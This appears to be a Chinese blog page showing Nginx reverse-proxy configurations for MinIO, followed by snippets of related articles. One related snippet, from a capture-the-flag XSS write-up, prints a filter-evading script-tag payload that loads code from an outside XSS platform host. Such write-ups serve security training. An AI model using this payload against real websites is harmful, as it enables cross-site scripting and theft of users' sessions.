Nginx服务器反向代理MinIO配置

ops/2024/10/25 13:35:32/

文章目录

    • 配置
      • 请求代理到该域名的根目录
      • 请求代理到该域名的非根目录
    • 参考网址

配置

请求代理到该域名的根目录


# 代理minio 上传server {listen       80;listen  [::]:80;server_name  minio.example.net;# 允许在HTTP头中使用特殊字符ignore_invalid_headers off;# 禁用代理缓冲proxy_buffering off;# 禁用请求缓冲proxy_request_buffering off;# 不限制文件大小client_max_body_size 0;location / {proxy_set_header Host $http_host;# proxy_set_header Host $host; # 失败,可尝试# proxy_set_header Host 127.0.0.1:9000;  # 失败,可尝试# proxy_set_header Host  # 失败,可尝试 去掉hostproxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Forwarded-Proto $scheme;proxy_connect_timeout 300;proxy_http_version 1.1;proxy_set_header Connection "";chunked_transfer_encoding off;proxy_pass http://minio_s3;}}

请求代理到该域名的非根目录

    #S3 API签名计算算法不支持托管MinIO Server API的代理方案,例如.example.net/s3/。所以这里使用 ^~ 表示前缀匹配,即任何以 /minio- 开头的请求都会被这个位置块处理。#注意:在创建Buckets时要加上minio-前缀,例如:minio-testoss。location ^~ /minio- {proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-for $proxy_add_x_forwarded_for;proxy_set_header X-Forwarded-Proto $scheme;proxy_set_header Host $http_host;# proxy_set_header Host $host; # 失败,可尝试# proxy_set_header Host 127.0.0.1:9000;  # 失败,可尝试# proxy_set_header Host  # 失败,可尝试 去掉hostproxy_set_header authorization $http_authorization;proxy_connect_timeout 300;proxy_http_version 1.1;proxy_set_header Connection "";chunked_transfer_encoding off;proxy_pass http://127.0.0.1:9000;#    proxy_pass_request_headers on;}

参考网址

  • miniog官方地址: http://minio.org.cn/docs/minio/linux/integrations/setup-nginx-proxy-with-minio.html
  • MinioJava最佳性能分片上传断点续传示例
  • 配置Nginx后出现SignatureDoesNotMatch错误
  • 403不能访问,提示 SignatureDoesNotMatch This XML file does not appear to have any style inf

http://www.ppmy.cn/ops/128348.html

相关文章

CTFHUB技能树之XSS——过滤关键词

开启靶场&#xff0c;打开链接&#xff1a; 看上去跟上一题应该差不多&#xff0c;应该只是添加多点过滤规则吧 直接拿xss平台的代码试试&#xff1a; <sCRiPt sRC//xs.pe/6b6></sCrIpT> 这时候突然听到xss平台的上线语音提醒&#xff1a; 成功得到flag&#xff1…

微信小程序canvas 生成二维码图片,画图片,生成图片,将两个canvas结合并保存图片

**需求实现步骤如下 先定义两个canvas一个canvas myQrcode画二维码的图片另一个canvas mycanvas画一个背景图&#xff0c;并把二维码画到这个canvas上&#xff0c;mycanvas这个canvas生成一张图片&#xff0c;返回图片的临时路径最后保存图片到手机** 首先wxml,新版微信小程序…

《IDE 巧用法宝:使用技巧全解析与优质插件推荐》

在日常撸代码的时候&#xff0c;相信兄弟们在IDEA 中用到不少插件&#xff0c;利用插件&#xff0c;不仅可以提高工具效率&#xff0c;撸起代码来&#xff0c;也格外的娃哈哈…… 一、IntelliJ IDEA 作为一个资深 Java 程序员&#xff0c;除了 IDEA 中默认的插件&#xff0c;我…

如何训练 RAG 模型

训练 RAG&#xff08;Retrieval-Augmented Generation&#xff09;模型涉及多个步骤&#xff0c;包括准备数据、构建知识库、配置检索器和生成模型&#xff0c;以及进行训练。以下是一个详细的步骤指南&#xff0c;帮助你训练 RAG 模型。 1. 安装必要的库 确保你已经安装了必…

【纯血鸿蒙】鸿蒙专项测试

一、初步了解 随着信息技术的高速发展,移动应用与人们生活日益紧密,面向各类场景的应用层出不穷,什么样的应用更受用户青睐呢?在满足用户功能需求之上,一个好的应用要能运行稳定、流畅不卡顿、占用内存小、安全等级高,此外,最好还能提供更多创新便捷的附加能力。 为了匹…

什么是KKT 条件(Karush-Kuhn-Tucker 条件)

KKT 条件&#xff08;Karush-Kuhn-Tucker 条件&#xff09;是优化理论中的一组必要条件&#xff0c;适用于求解带有等式和不等式约束的非线性规划问题。当目标函数和约束条件是凸的时&#xff0c;KKT 条件也是找到最优解的充分条件。在支持向量机&#xff08;SVM&#xff09;的…

Vue前端,使用echarts图表库

文章目录 1. ECharts官网地址2. echarts安装方式3. 使用柱状图&#xff0c;饼图&#xff0c;折线图4. 运行效果图 1. ECharts官网地址 https://echarts.apache.org/handbook/zh/get-started/ 2. echarts安装方式 npm install echarts温馨提示&#xff1a;使用npm命令的前提&…

【Ubuntu20.04 Visual Studio Code安装】【VSCODE】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、打开VSCOE官网二、下载VSODE的Ubuntu版本三、安装VSCODE软件包四、导入工作空间(添加工作空间目录)五、安装插件&#xff1a;1.安装简体中文包2.安装ros插件…